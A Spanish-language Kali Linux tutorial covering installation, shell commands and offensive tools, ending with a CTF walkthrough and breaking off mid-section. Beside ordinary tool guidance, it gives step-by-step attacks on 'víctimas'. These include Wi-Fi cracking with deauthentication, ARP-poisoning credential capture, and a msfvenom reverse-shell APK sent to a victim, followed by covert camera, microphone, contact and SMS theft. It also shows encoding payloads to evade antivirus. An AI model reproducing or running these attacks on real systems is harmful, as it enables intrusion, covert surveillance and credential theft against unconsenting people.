KALI LINUX
- Introducción a Kali Linux
• Características
- Instalación en máquina virtual
• VMware Workstation 16 Player
- La terminal de Linux
• Comandos básicos
- Herramientas
Introducción a Kali Linux
Kali Linux es una distribución basada en Debian
GNU/Linux para pruebas de penetración y auditorías de
seguridad, de tal manera que la convierte en una de las
más avanzadas y poderosas en el mundo del ethical
hacking. Fue fundada y es mantenida por Offensive
Security Ltd. Kali es una re-construcción de BackTrack,
en los últimos años ha sido mejorada agregando nuevas
actualizaciones, mejorando el soporte, arreglando y
eliminando paquetes saturados, y ampliando la cantidad
de aplicaciones disponibles.
Kali se volvió un éxito entre los usuarios que se
dedican a esta actividad, por la única razón de su gran
potencial. La principal atracción fue el soporte para
la arquitectura ARM ofrecida por el propio Kali Linux,
a su vez se fue extendiendo soporte a i386 y AMD64. Con
solo 2GB de RAM y mínimo 20GB de almacenamiento puedes
correrlo sin problemas, por supuesto que se pide más
para futuras actualizaciones.
Contiene más de 300 herramientas preinstaladas y se
adaptan a numerosos trabajos, debemos recalcar que a
comparación a otras distribuciones, Kali tiene su
complejidad si se carece de conocimientos de está, de
modo que se recomienda empezar por una distribución más
sencilla de utilizar como lo es Ubuntu o Linux Mint.
Kali Linux no solo se encuentra para PC, sino también
para dispositivos móviles (Kali NetHunter), es preciso
ser root en Android y contar con un dispositivo que
cumpla los requisitos necesarios para su instalación.
Características
Herramientas: Kali Linux proporciona a sus usuarios más de
300 herramientas de pruebas de penetración, entre las
más destacadas: Nmap (escáner de redes), Aircrack-ng
(kit-tolos de hacking para redes inalámbricas),
EtterCap (ataques MITM), Wireshark (analizador de red),
Metasploit (explotación de vulnerabilidades en
equipos), John the Ripper (romper contraseñas por
fuerza bruta), algunas de ellas serán nombradas más
adelante.
Árbol de código abierto: Kali está comprometido con el
desarrollo de código abierto y está disponible para que
todos lo vean y desean modificar-reconstruir paquetes.
Gratuito: Es una distro totalmente gratis y siempre lo
será.
Compatibilidad con varios idiomas: Kali Linux tiene incluido un
soporte multilingüe, permitiendo que los usuarios escojan
su idioma nativo.
Soporte para ARM:Proporciona actualizaciones para
arquitecturas ARM, armel, armhf, y arm64.
Personalizable: Kali Linux ha sido especialmente diseñado
para todo aquel que desee personalizarlo a sus
necesidades, incluyendo el núcleo.
Amplio rango de dispositivos inalámbricos: Su construcción tiene
el objetivo de llegar al mayor soporte posible de
dispositivos inalámbricos, variedad de hardware y
compatibilidad con distintos USB.
Instalación de Kali Linux (VMWARE)
Antes de comenzar con la instalación, debemos de elegir
un software de virtualización para ejecutar nuestra
máquina virtual, en mi caso escogeré VMware (versión
16), el procedimiento también se puede realizar con
VirtualBox.
Sitio oficial de VMware Sitio oficial de VirtualBox
https://www.vmware.com https://www.virtualbox.org
Proseguimos a descargar la imagen (ISO) de Kali Linux
desde su sitio oficial.
Descargar Kali Linux 2020
https://www.kali.org/downloads/
Dependiendo de la arquitectura de su procesador (64
bits – 32 bits), seleccionan la adecuada.
La versión “Live” es menos pesada y
esta aplicada para instalar Kali
Linux en un USB booteable sin la
necesidad de tener disco duro, pero
teniendo en cuenta que sus programas
serán más limitados, cualquier cambio
que realices se perderá si no lo
haces persistente. Una de sus
ventajas es que puedes ejecutarlo
desde cualquier computadora (según la
arquitectura) y llevar a cabo las
operaciones. Para crear sistemas de
arranque Live USB te recomiendo
Rufus, LinuxLive USB Creator o
Win32DiskImager.
El primer paso es acceder a VMware y crear nuestra
máquina virtual, para ello le damos a “Create a New
Virtual Machine” y agregaremos la imagen ISO que hemos
descargado.
Seleccionan el tipo de sistema “Linux” y en versión
“Debian”.
Daremos clic en “Next” y luego en “Customize Hardware”,
este campo nos permite modificar los valores, esto ya
depende de tu máquina física.
Si desean modificar el disco duro, bastaría con darle
clic derecho y a “Setting”. Una vez hecho lo anterior,
encendemos Kali Linux haciendo doble clic en ella y
escogeremos la opción de “Graphical install”.
Seleccionan el idioma y la zona horaria.
Indicamos el nombre de la máquina, luego del dominio,
asignamos un nombre para el nuevo usuario y creamos una
contraseña de administrador (modo root).
Utilizaremos todo el disco.
Si es tu primera vez, te recomiendo “Todos los ficheros
en una partición”, aunque si lo deseamos podemos
preferir que el sistema realice tres particiones (home,
/var y /tmp) para instalar.
Muy importante grabar los cambios en los discos.
Se puede customizar el entorno de escritorio, al
seleccionar todo, el tiempo de instalación será mayor,
esto es opcional.
Comenzará a instalarse los respectivos paquetes, la
duración depende de la velocidad del internet.
Nos solicita en que parte del dispositivo pretendemos
instalar el GRUB para que pueda arrancar.
¡Kali Linux instalado con éxito!
Terminal de Linux (COMANDOS)
Al trabajar en “modo consola”, “mediante líneas de
comandos”, estamos dando instrucciones al sistema para
que realice una acción en formato texto. Lo primero que
haremos es conocer los comandos básicos que existen y
cual es su función en el sistema.
_ Empezaremos por el comando “su” y “sudo”, es muy
relevante a la hora de ejecutar un programa.
El comando: “su” nos permite utilizar el intérprete de
comandos (shell) para cambiar de un usuario a otro sin
la necesidad de cerrar la sesión actual. Mientras que
el comando: “sudo” permite a los usuarios ejecutar un
programa pero con privilegios de administrador (root),
debemos estar conscientes de cuando usarlo y cuando no.
_ Anteriormente he dicho que “su” nos permite cambiar a
otro usuario, al instalar Kali solo tenemos un usuario
(en mi caso “whoami”). El comando: “adduser/useradd”
permite añadir un nuevo usuario al sistema con las
opciones por defecto, de acuerdo a la configuración en
/etc/adduser.conf. Para crear un grupo utilizamos:
“addgroup”, y “groupdel” para eliminarlo.
_ Para cambiar de directorio usamos: “cd”, si deseamos
volver hacia atrás: “cd ..”.
_ Con: “ls” podemos ver los archivos y directorios que
tenemos dentro del directorio posicionado y con “ls –l”
podemos ver permisos del directorio, fecha y hora.
_ Crear carpeta/directorio con: “mkdir nombre”.
_ Eliminar carpeta: “rmdir nombre”, con: “rm –rf
nombre” lo hacemos junto a su contenido dentro, “rm –f
nombre” es para eliminar un fichero.
_ Renombrar o mover fichero/carpeta: “mv nombre
new_nombre”.
_ Para tener una información precisa sobre quién ha
iniciado sesión en el sistema: “who”
_ El comando: “w” muestra información más detallada,
cuánto tiempo lleva el sistema activo, y la cantidad de
usuarios conectados.
_ Cambiar la propiedad de los archivos y directorios:
“chown user fichero/directorio”.
_ Cambiar los permisos de archivos y directorios:
“chmod xxx xxx”.
“-R” asigna todos
Ej: chmod –R install.txt los permisos.
_ Reiniciar la máquina: “reboot” y apagar: “poweroff”.
_ Descomprimir archivos “.tar.gz”: “tar -xzvf
archivo.tar.gz”.
_ Descomprimir archivos “.rar”: “unrar x archivo.rar”.
Descargar unrar: sudo apt-get install unrar
_ Descomprimir archivos “.tar”: “tar xvf archivo.tar”.
_ Descomprimir archivos “.zip”: “unzip archivo.zip”.
_ Comprimir archivos “.zip”: “zip archivo.zip”.
_ Comprimir archivos “rar”: “rar –a archivo.rar
*ficheros*”.
Descargar rar: sudo apt-get install rar
_ Comprimir archivos “.tar”: “tar -cvf archivo.tar
/home/archivo/”.
_ Comprimir archivos “.tar.gz”: “tar -czvf
archivo.tar.gz /home/archivo/”.
_ Mostrar estado del sistema y procesos ejecutándose
(CPU): “top“.
_ Actualizar paquetes: “apt-get update”.
_ Desplegar interfaces de red: “ifconfig”.
_ Información sobre la red inalámbrica: “iwconfig”.
_ Cerrar un programa a la fuerza: “kill”.
_ Diagnosticar estado de una conexión: “ping
google.com”.
_ Descargar archivos de internet: “wget
https://ejemplo.com/archivo.zip”.
_ Escribir texto en la ventana de la terminal: “echo
Hola, soy Raúl”.
_ Mostrar lista de las particiones montadas: “df –h”.
_ Instalar/actualizar un paquete deb: “dpkg –i
paquete.deb”.
_ Eliminar un paquete deb del sistema: “dpkg –r
paquete.deb”.
_ Limpiar cache: “apt-get clean”.
_ Limpiar la pantalla de la terminal: “clear”.
_ Memoria utilizada y disponible en el sistema: “free”.
_ Localizar archivos: “find /home/whoami –name
“archivo.txt”.
_ Fdisk es una herramienta que nos permite realizar
diferentes acciones en el disco duro. Podremos crear,
eliminar, mover y redimensionar particiones.
fdisk -l Ver todas las particiones
fdisk /dev/sda Crear una nueva partición
Una vez dentro, debemos de pulsar
la “m” para poder visualizar las
distintas opciones que nos
ofrece. Para crear una nueva
partición debemos de pulsar la
“n”, luego seleccionan el tipo
de partición (extendida o
primaria), lo mismo hacen con el
tamaño, pueden optar por dejarlo
por defecto.
Releer las particiones en
sudo partprobe
el disco.
mkfs.ext4 /dev/sda4 Formatear partición.
sudo mount /dev/sda4 Montar partición.
sudo umount /dev/sda4 Desmontar partición.
Para eliminar una partición debemos acceder
nuevamente a “fdisk /dev/sda”, pulsamos la
letra “d” y escribimos el número de la
partición.
Herramientas
Como dije anteriormente, Kali contiene una gran
variedad de herramientas que ya vienen implementadas
por defecto, algunas son más utilizadas que otras
dependiendo de las necesidades de uno, es por eso que
hablaré sobre ellas y su funcionamiento.
NMAP
Nmap (Network Mapper) es una herramienta gratis y de
código abierto diseñada para realizar auditorías de red
en busca de puertos abiertos, servicios que corren en
él y explotación de los mismos, sistemas operativos y
su versión, tipo de firewall utilizando y detectar
vulnerabilidades.
Guía básica
Comenzaremos realizando un escaneo básico a un
determinado host (IP o URL):
El escaneo nos muestra que hay 996 puertos
filtrados, 3 abiertos (80, 554, 8000) y 1
cerrado (443), también los servicios
corriendo de cada uno.
Tenemos la posibilidad de escanear varias máquinas a
la vez:
Máquina-1 Máquina-2
Escanear red o subred por completo “/24”:
sP (Sondeo Ping): esta técnica se utiliza para
detectar equipos activos dentro de la red:
nmap -sP “dirección IP”
TCP Syn: con la opción “-sS” podemos realizar un
escaneo sigiloso sin dejar registros en la máquina
objetivo, a su vez, permite saltarse reglas
establecidas por el cortafuegos. Si recibe una
respuesta de tipo SYN/ACK indica que el puerto está en
escucha (abierto), si la respuesta es RST(Reset)
indica que no hay nada escuchando en el puerto.
nmap -sS “dirección IP”
Sondeo TCP Connect: permite realizar el mismo sondeo
que Syn, la llamada de Connect puede dejar registros
de nuestra actividad en la máquina objetivo, de tal
manera que no es muy recomendable. Encuentra el equipo
activo y sus puertos disponibles.
nmap -sT “dirección IP”
Sondeo UDP: este tipo de sondeo envía mensajes sin
datos al protocolo UDP en busca de servicios
vulnerables, si lo comparamos con TCP es más lento y
difícil, puede combinarse con el sondeo tipo Syn. Si
se obtiene un error ICMP
indica que el puerto no es alcanzable.
nmap -sU “dirección IP”
Sondeo FIN, Null y Xmas: este tipo de escaneos es útil
para saltar cortafuegos sin estado y filtrado de
paquetes. Si se recibe un paquete RST indica que el
puerto está cerrado, si esta abierto no dará ninguna
respuesta.
- Escaneo FIN(sF): lleva la bandera TCP FIN.
- Escaneo Null(sN): no se fija ningún bit o bandera.
- Escaneo Xmas(sX): se envían banderas FIN, PSH, URG.
nmap -sN “dirección IP” nmap -sF “dirección IP” nmap -sX “dirección IP”
Sondeo TCP ACK: este escaneo no revelara si los
puertos están abiertos, el objetivo es detectar el
tipo de firewall que tenemos enfrente. ACK prueba
paquetes con la bandera ACK activa, si el puerto
devuelve un paquete RST, es alcanzable:
nmap –n –v -sA “dirección IP”
“-n” esquivar resolución DNS. “-v” recibir una respuesta más
destallada, “-vv” aumenta aún
más.
Sondeo de protocolo IP: muestra el tipo de sistema
operativo de la víctima:
nmap -O *IP/URL*
Cambiar MAC: falsificar dirección MAC para ocultar las
sondas de Nmap:
nmap --spoof-mac *MAC* *IP*
Dato: si argumentamos una
dirección MAC “0” generará
una dirección MAC aleatoria.
Obtener dirección IP y MAC de los equipos en la red:
nmap -sn *IP/24*
SCRIPTS PARA ESCANEAR VULNERABILIDADES
Script Safe: obtener información detallada de
la dirección IP del router, nombre del dominio
de red.
Script Default: ejecuta los scripts por
defecto, depende de la velocidad, privacidad,
intrusión y confiabilidad.
El puerto 22 de SSH nos brinda la llave
(key) de su conexión.
Script Vuln: brinda información sobre alguna
vulnerabilidad que está expuesta el equipo.
El puerto 80 presenta
una vulnerabilidad de
DoS (Denegación de
Servicio).
Script All: ejecuta todos los scripts
disponibles, puede generar registros en el
sistema.
Script Auth: verifica si existen usuarios con
contraseñas vacías o por defecto, autenticación
SSH, hashes, inicio de sesión predeterminadas,
omisión de inicio de sesión VNC.
En mi caso no tuve
alguna respuesta
positiva. Generalmente
el puerto “3306” suele
ofrecer una lista de
usuarios MySQL cuando
este es vulnerado.
Acceder a más información: https://nmap.org/
AIRCRACK-NG
Aircrack-ng es una suite de seguridad inalámbrica que
nos permite realizar diferentes ataques para crackear
claves WEP y WPA/WPA2-PSK. Aplica varias técnicas de
ataques para descifrar claves WEP: FMS (Fluhrer,
Mantin, Shamir), Korek ChopChop.
Para crackear claves WPA/WPA2-PSK se utiliza la
combinación de contraseñas a través de fuerza bruta,
también es aplicada a WEP, es necesario usar un
diccionario para este método. Está técnica no solo se
utiliza para WiFi, también para obtener credenciales de
redes sociales. Con el paso de los años se ha dejado de
utilizar por el simple hecho del tipo de cifrado que
contenga la password, el tiempo que requiere, sistema
de alerta de intrusión (Facebook, Instagram, Twitter,
etc), otros nuevos métodos (Phishing).
Lista de herramientas que contiene Aircrack-ng:
• airbase-ng • easside-ng
• aircrack-ng • packetforge-ng
• airdecap-ng • tkiptun-ng
• airdecloak-ng • wesside-ng
• airdriver-ng • airdecloak-ng
• aireplay-ng
• airmon-ng Entre las más utilizadas:
• airodump-ng Aircrack-ng: descifrar contraseñas.
• airolib-ng Aireplay-ng: generar tráfico, ataque de
• airserv-ng desautenticación.
Airodump-ng: capturar paquetes.
• airtun-ng Airmon-ng: convertir nuestra tarjeta
inalámbrica en modo monitor.
Antes de seguir con el procedimiento, es necesario
contar con un adaptador/tarjeta de red compatible con
kali linux, de esta forma conseguiremos que nos
reconozca las redes inalámbricas de nuestro alrededor,
dado que la máquina virtual solo reconoce conexión
cableada por parte de la máquina física.
Tenda TP-Link Alfa
Cracking WPA/WPA2-PSK | Fuerza Bruta
Debemos comprobar nuestro adaptador:
airmon-ng
Una vez detectado, agregamos la tarjeta en modo
monitor:
airmon-ng start wlan0
Matar procesos que pueden causar problemas:
airmon-ng check kill
Capturar los datos de la red objetivo:
airodump-ng *interfaz*
airodump-ng wlan0mon
Luego de identificar la red, presionan CTRL + C. A
continuación, comenzaremos a capturar los paquetes.
Anotamos los siguientes datos de la red:
airodump-ng -c 7 --bssid XXXXX --write Reliant wlan0mon
IMPORTANTE
No cierren esta terminal.
A continuación, iniciaremos un ataque desautenticación
para expulsar a los clientes de la red, nos permitirá
recoger el handshake y facilitar dicho ataque:
aireplay-ng -0 15 -a XXXXXX -e Reliant wlan0mon
Cantidad de paquetes a
enviar, con 1 se envían
continuamente, provocando
un Dos (Denegación de
Servicio) a la conexión.
Volveremos a la terminal anterior y observaremos el
handshake capturado, pulsamos CTRL + C:
El último paso es descifrar la contraseña por fuerza
bruta:
aircrack-ng Reliant-01.cap –w wordlist.txt
Nombre del archivo generado Nombre de nuestro diccionario.
con airodump-ng.
Contraseña encontrada, KEY FOUND!
El tiempo que requiere en encontrar la
contraseña dependerá de que tan
compleja sea, lo ideal es tener un
diccionario extenso en el cual podamos
combinar diferentes palabras para dar
con la misma.
WIFITE
Wifite es un script completo creado en Python para
auditar redes inalámbricas. Utiliza una gran variedad
de métodos conocidos para recuperar una contraseña de
acceso inalámbrico.
Métodos:
• WPS: Ataque sin conexión Pixie-Dust.
• WPS: Ataque de PIN de fuerza bruta en línea.
• WPA: El WPA Handshake Capture + crack sin conexión.
• WPA: El WPA Handshake Capture + crack sin conexión.
• WEP: Diferentes ataques conocidos contra WEP, incluyendo
fragmentación, chop-chop, aireplay, etc.
Antes de iniciar la herramienta debemos colocar la
tarjeta en modo monitor:
airmon-ng start wlan0
Iniciamos el script:
sudo wifite
Se desplegará una lista de redes cercanas, por un lado nos
muestra el alcance (poder de conexión), verifica si tiene el
WPS activado y los clientes conectados. Seleccionamos la red
objetivo que deseamos atacar.
¡WPS cracked!
Advertencia
El WPS activado puede implicar una vulnerabilidad
grave para nuestra red inalámbrica, se aconseja que
se desactive. Su función es facilitar una conexión
para otros usuarios de confianza a través del
método PIN, este requiere de 8 dígitos en lugar de
la contraseña completa.
Para desactivar el WPS nos dirigimos a la configuración
de nuestro módem/router y lo hacemos desde allí, no
todos son iguales.
Se ingresa a través
de nuestra dirección
IP Local (192.168.1.1)
desde el navegador.
CRUNCH
Crunch es una herramienta para generar una lista de
palabras (diccionarios / wordlist) para ser usado en
fuerza bruta. Es capaz de generar diccionarios con
distintos parámetros, admite números, símbolos,
mayúsculas y minúsculas. Realiza todas las
combinaciones que estén a su alcance tomando la palabra
clave.
Normalmente, crunch ya viene instalado en Kali,
pero si pretenden instalarlo en otra distro:
sudo apt-get install crunch
Comandos básicos
Generar un diccionario que contenga palabras con una
longitud mínima y máxima:
crunch 2 5
Longitud mínima Longitud máxima
Generar una lista de palabras que solo contenga letras:
crunch 2 6 abcdefghij
Crear una lista de palabras que contenga solo números:
crunch 2 7 1234567890
Especificar la ubicación para guardar el diccionario:
cd *Directorio*
crunch 2 6 abcdef098 -o wordlist.txt
Nombre del diccionario
Supongamos que la víctima utilizó un nombre u otro
carácter al final o inicio de una contraseña, podríamos
generar todas las posibilidades de contraseñas para dar
con ella.
crunch 9 9 -t @@@@linux -o dic.txt
“-t” permite especificar un patrón.
“@” incluir caracteres en minúsculas.
“,” incluir caracteres en mayúsculas.
“%” incluir números.
“^” incluir símbolos.
Crear una lista de palabras utilizando el archivo
charset.lst, contiene un grupo de caracteres para
generar una lista más compleja:
Directorio: /usr/share/crunch/
“cat”: Expresar la lista almacenada en
charset.lst
Algunas de ellas:
• Numeric
• Ualpha
• Ualpha-numeric
• Symbols14
• Lalpha-sv
• Mixalpha
• Mixalpha-numeric
Ej: generar un diccionario que contenga letras de
alfabeto inferior junto con un patrón numérico:
crunch 2 5 -f /usr/share/crunch/charset.lst lalpha-numeric -o diccionario.txt
“-f”: Específica el juego de
caracteres
Generar una lista de palabras con una serie de una o
varias palabras:
crunch 3 7 -p hacking is art
“-p”: Generar palabras que no contengan
caracteres repetidos
”-i”: Invertir la salida (output) de la lista:
crunch 1 3 abcdef -i -o wordlist.txt
Crear un diccionario comprimido [gzip, bzip2, lzma, y 7z]:
crunch 8 8 abcdefgh -z bzip2 -o wordlist.txt
Para más información de crunch,
ejecutar en la terminal: “man crunch”.
ETTERCAP
Ettercap es una herramienta potente y muy usada para
realizar ataques MITM contra una red, manipular el
tráfico HTPP, HTTPS y SHH. El objetivo es auditar la
seguridad de la red/host en busca de conexiones
activas, filtraciones de contraseñas u otros datos
relevantes para el atacante.
¿Qué es un ataque MITM?
Un ataque de hombre en medio (abreviado MITM) es un
método sigiloso donde el atacante interviene el tráfico
de datos que viajan en la red, es aprovechada por los
ciberdelincuentes para obtener credenciales de redes
sociales, cuentas bancarias, emails, registrar sitios
visitados, entre otras.
La víctima intenta crear una conexión codificada con el
servidor web pero, el atacante intercepta la conexión y
la desvía, realmente lo que hace la víctima es enviar
los datos primero al atacante y este se lo envía al
servidor web, desencripta los datos y hace con ellos lo
que quiera antes de que lleguen.
Abrimos ettercap desde el menú o en la terminal
“ettercap -G”, seleccionamos la interfaz conectada a la
red y después le damos “Aceptar”.
Luego, vamos a Menú > Host > Scan host > Hosts list
Dentro se encuentra las direcciones IP y MAC de los
equipos (incluyendo el router) activos de la red,
seleccionamos la IP del equipo a atacar y pulsamos “Add
to Target 1”, después el router “Add to Target 2”.
Una vez que ya tenemos los objetivos marcados, debemos
de aplicar el envenenamiento del protocolo ARP para que
la víctima me mande el tráfico primero a mí.
Menú MITM > ARP poisoning
Marcamos la opción “Sniff remote
connections” y damos aplicar.
Le damos a “Start sniffing” y lo dejamos esnifando el
tráfico.
RESULTADO
En pantalla se muestra las credenciales obtenidas, en
el caso de HTTPS tendríamos que hacer uso de SSLstrip
para engañar al servidor y el tráfico HTTPS
convertirlo en HTTP.
NIKTO
Nikto es un escáner de vulnerabilidades de servidores
web, realiza un escaneo completo en busca de archivos y
directorios peligrosos. Soporta SSL, LibWhisker IDS y
una configuración de proxy para hacerlo bajo anonimato.
Permite guardar la información detallada en una
variedad de formatos HTML, CSV, XML, NBE y registros
para Metasploits.
Iniciar nikto y mostrar las opciones que ofrece:
nikto -Help
Realizar un escaneo básico:
nikto -h *URL/IP* -p *PORT*
Opción “-h” indica la
dirección IP o nombre
del host a escanear.
Opción “-p” indica el
número de puerto donde
se aloja el servidor
web. El protocolo HTTP
utiliza el puerto 80 y
el HTTPS 443.
El host está opuesto a un ataque de Cross-Site Tracing (XST) por
el hecho de tener el método TRACE activado. Esté es aprovechado
para robar credenciales de usuarios legítimos por medio de
peticiones que hagamos en el protocolo http.
Nikto por defecto prueba HTTP normal y sigue con HTTPS,
si el servidor es SSL, especificar con -ssl.
nikto -h 200.0.183.169 -p 443 -ssl
La cabecera Content-Encoding está configurado para “desinflar”,
el servidor podrá enviar archivos solicitados al cliente
comprimidos o no. Es vulnerable al ataque BREACH, consiste en
realizar peticiones al sitio atacado y recibir una respuesta
https (direcciones de correos electrónicos, IDS de usuarios y
tokens de autenticación).
Escanear varios puertos a la vez, ejecutamos nmap para
descubrir los que están corriendo en él.
A continuación, probamos más de un puerto en el mismo
host:
nikto -h 186.104.43.152 -p 80,443
Los archivos robots.txt son un mecanismo para evitar que ciertos
bots sobrecarguen el sitio web y obtengan información de la
misma.
Transmitir todas las conexiones a través del proxy
HTTP.
Especificar el archivo de configuración: nikto -h 186.104.43.152 -p 80 -useproxy
nikto -h http://186.104.40.64 -useproxy http://127.0.0.1:8080/
Guardar información del escaneo en un documento de
texto:
nikto -h 186.104.43.152 -p 80 -o resultado.txt
Obtener información de reportes en formato HTML:
nikto -h 186.104.43.152 -p 80 -o html
Deshabilitar las búsquedas de DNS para no dejar
evidencia de la petición, es importante especificar la
dirección IP y no el nombre del dominio.
nikto -h 186.104.43.152 -nolookup
Especificar el tiempo de segundos que Nikto esperará
luego de una petición:
nikto -h 186.104.43.152 -timeout 5
Lista de plugins disponibles:
nikto -list-plugins
Ejemplo:
nikto -h 186.104.43.152 -Plugin @@ALL
Utiliza todos los
plugins.
Desactivar las funciones interactivas del usuario:
nikto -h 186.104.43.152 -nointeractive
Nikto Manual: https://cirt.net/nikto2-docs/
METASPLOIT
Metasploit es una suite de pentest que tiene como
objetivo brindar información detallada acerca de
vulnerabilidades del sistema. Permite la ejecución
remota de un sistema a través de un exploit o payload.
Exploit: Es un código o programa malicioso que se aprovecha de un
vulnerabilidad o bug para comprometer la seguridad de un sistema o
aplicación.
Payload: Es un código que se ejecuta después de ejecutar el código de
explotación, permitiendo una conexión entre el atacante y la víctima por
medio de una shell de comandos.
Auxiliary: Realiza diversas tareas, tales como ataques por fuerza
bruta, escaneo de puertos, mitigar amenazas sobre un sistema vulnerable.
Encoder: Permite cifrar nuestros paylaods o exploits, y hacerlos
indetectables contra Firewall y AntiVirus.
Iniciar msfconsole
Metasploit contiene por defecto:
2045 exploits – 1106 auxiliary – 344 post – 562 paylodas
- 45 encoders – 10 nops – 7 evasion
Entre los exploits:
Entre los payloads:
Entre los auxiliares:
Entre los encoders:
Workspace: permite organizar los datos para trabajar
una nueva prueba de penetración y evitar la acumulación
de pruebas anteriores.
workspace -a *name*
Posición que ocupa actualmente.
Eliminar workspace:
workspace -d *name*
Vulns: permite escanear vulnerabilidades vigentes y
“potencia” de la misma.
search vulns
Filtrar todos los exploits disponibles:
search exploits
Filtrar exploits de una plataforma:
search exploits platform:android
o
search exploits platform:windows
Ejecutar exploit
Este método nos ofrece información sobre la versión del
servidor web en diferentes puertos.
Ingresamos a la siguiente ruta en metasploit:
use auxiliary/scanner/http/http_version
Puerto 80 (http):
set RHOST *host*
set RPORT 80
exploit
Tipo de servidor web en que se aloja el
sitio + su versión (Apache/2.2.32),
módulo de apache (mod_ssl) y API para
encriptar datos enviados (OpenSSL).
Puerto 443 (https):
set RPORT 443
exploit
Vulnerar Android
Conseguiremos vulnerar un sistema Android y obtener una
sesión meterpreter.
Meterpreter es de gran utilidad que nos permitirá
obtener información del objeto comprometido y manipular
procesos del sistema (tomar una foto, descargar
archivos, ver contactos de la tarjeta SIM, ver y editar
carpetas/archivos, cargar el módulo sniffer, etc).
Usaremos el exploit “exploit/multi/handler”:
use exploit/multi/handler
Seguidamente, escogeremos el Payload:
set payload android/meterpreter/reverse_tcp
Asignamos nuestra IP (LHOST) y puerto (LPORT):
set LHOST *IP*
set LPORT 8080
Ahora tenemos que crear la apk maliciosa con msfvenom:
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8080 R > NOMBRE.apk
A continuación, debemos de subir el apk a un servicio
de alojamiento de archivos (Mediafire, MEGA), en mi
caso lo haré en anonfiles.com:
Copiamos el enlace y se lo enviamos a la víctima para
que lo descargue.
Por último, vamos a la terminal y ejecutamos “exploit”
o “run”, y esperaremos a que instale la aplicación.
Como se observa, la víctima ha instalado el apk
malicioso entregando acceso del móvil por completo.
Sacar una foto “sigilosa”:
webcam.snap -i *opción*
Grabar el micrófono:
record_mic -d *time*
Comprobar si el dispositivo está rooteado:
check_root
Obtener todos los números de sus contactos:
dump_contacts
Enviar un SMS (el teléfono mantendrá una copia
también):
send_sms -d *número* -t *mensaje*
Recuperar un registro de todos los SMS:
dump_sms
Interactuar con una shell:
Desplegar lista de comandos:
help
Evadir Antivirus
Metasploit ofrece una gran variedad de encoders con su
respectiva probabilidad de interrupción.
Encoders: codificadores para evasión de antivirus y
sistemas de seguridad.
Desplegar lista de encoders:
msfvenom -l encoders
Incrustar el codificador en un apk malicioso:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128
LPORT=4444 -e x86/shikata_ga_nai -i 8 -f exe -o /home/whoami/Escritorio/software.exe
“-a” tipo de arquitectura.
“-p” tipo de payload. Encoder shikata_ga_nai
“-e” añadir el encoder.
“-i” número de veces que se codifica el
payload. Rank excellent
“-f” formato de salida.
“-o” guardar el payload.
Una vez codificado el apk, lo pasamos por
virustotal.com y nos arrojará resultados de posibles
evasiones:
52 de 68 Antivirus marcaron el apk como
malicioso, mientras 16 pasaron por alto.
Probemos con otro encoder:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128
LPORT=4444 -e x86/service -i 4 -f exe -o /home/whoami/Escritorio/software.exe
Encoder service
Rank manual
Antivirus como Avast, Panda, AV, siendo lo
más conocidos y en mayor de los casos muy
instalados, no lo detecta.
Conclusión: se trata de ir probando codificadores e ir
analizándolo para obtener una mejor probabilidad de
intrusión con la mínima detección posible, lo mismo con
los valores.
CTF – Capture the Flag
Captura la bandera es un juego en donde dos equipos
tienen que resolver desafíos en el menor tiempo posible
y antes que el enemigo, las banderas son llaves “keys”.
Estas competiciones permiten poner a prueba nuestras
habilidades de hacking mediante diferentes retos que
nos propongan. Contiene una variedad de categorías:
Criptografía, Análisis Forense, Esteganografía,
Explotación, Hacking Web, Ingeniería Inversa y mucho
más.
Plataformas para practicar de forma legal:
• https://www.hackthebox.eu/
• https://pentesterlab.com/
• https://www.root-me.org/
• https://www.vulnhub.com/
• https://tryhackme.com/
• https://www.hacker101.com/
ROOT-ME
Root-me cuenta con más de 200 ejercicios y 50 entornos
virtuales, además de ser gratuito, también podemos
seleccionar nuestro idioma.
Realizaré una pequeña prueba, es importante crearse
una cuenta para poder jugar, eligen cualquier sala y
seleccionan el entorno virtual, en mi caso “Basic
Pentesting 1”.
Iniciamos el partido, nuestro objetivo se encuentra en
el fichero /passwd para validar la flag. Comenzaremos
con un escaneo básico con nmap a la dirección que nos
proporcionaron: ctf05.root-me.org
nmap -p 21,22,80 -A ctf04.root-me.org
Escanear puertos específicos Detección de SO y versiones, escaneo de scripts
El puerto 21 tiene el servicio FTP corriendo,
su versión es ProFTPD 1.3.3c.
Encontrar el exploit adecuado con Google:
Encontrar el exploit adecuado con Searchsploit:
searchsploit ProFTPD 1.3.3c
Ejecutamos metasploit y buscamos un módulo para
aprovechar dicha vulnerabilidad:
search ProFTPD 1.3.3c
“use 0” para seleccionar el módulo o “use
exploit/ftp/proftpd_133c_backdoor”.
A continuación, hay que asignar el RHOST, se obtiene
haciendo ping a la dirección:
set RHOSTS 212.129.29.187
Buscamos el payload correspondiente:
show payloads
Recomiendo el reverse_perl o bind_perl.
Seleccionar el payload:
set payload cmd/unix/bind_perl
Por último, añadimos el LHOST y ejecutamos “exploit”:
set LHOST 192.168.1.9
Se abrirá una sesión meterpreter y ejecutamos “ls”
para mostrar todos los ficheros:
Fichero objetivo
Con “cat” mostramos el contenido:
cat passwd
Key para validar la flag
Password Found!
JOHN THE RIPPER
John the Ripper es una herramienta para descifrar
contraseñas utilizando la fuerza bruta por parte de
diccionarios, su propósito principal es detectar
contraseñas débiles y tener acceso remoto o local.
Detecta los tipos de hash que contiene e incluye un
cracker personalizado.
A modo de ejemplo creare un usuario y contraseña:
En el archivo shadow encontramos la contraseña con
